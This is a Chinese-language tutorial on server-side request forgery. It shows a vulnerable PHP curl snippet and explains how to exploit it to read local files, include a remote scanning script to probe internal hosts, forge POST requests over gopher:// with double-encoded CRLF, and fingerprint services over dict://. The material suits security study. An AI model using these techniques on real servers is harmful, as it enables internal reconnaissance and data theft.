SRF案例:
案例一:url没过滤
# 源代码如下
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
此时可以在url后边接任意地址,当然真正的渗透应该接目标的内网地址
#原地址:
***.com
#直接替换url为任意网址或本地文件路径
***.com
***.com
案例二:只读取PHP文件
file_get_contents函数只能读取PHP文件,所以可以修改原本的路径,读取服务器其他的php文件
***.com
案例三:文件包含
利用文件包含漏洞,加载远程脚本扫描内部服务
#GET的请求:
***.com
#观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
#使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
#POST请求
***.com
#POST DATA内容:
ip=192.168.60.70
192.168.163.157是要访问的主机地址A xxx.xxx.xxx是要使用的远程扫描脚本的地址(也就是自己搭建的服务器) 192.168.60.70是要扫描的目标主机内网地址B,且该地址是xxx.xxx.xxx主机无法访问到的 使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
SSRF利用其他协议
有关 SSRF 其它扩展知道可参考: ***.com
file 协议的运用
请求***.com便可以获取敏感文件的信息
gopher 协议的运用
gopher 协议是比http协议更早出现的协议,现已不常用,但是在 SSRF漏洞利用中gopher可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了 基本协议格式:
URL:gopher://<host>:<port>/<gopher-path>
进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal
构造 gopher 请求的时候,回车换行符号要进行2次url编码为%250d%250a
***.com/%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
gopher在SSRF漏洞利用中具体的攻击方式可以参考如下链接: ***.com
dict 协议应用
dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,
但是在 SSRF 中如果可以使用 dict协议,那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息
如请求 ***.com
可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。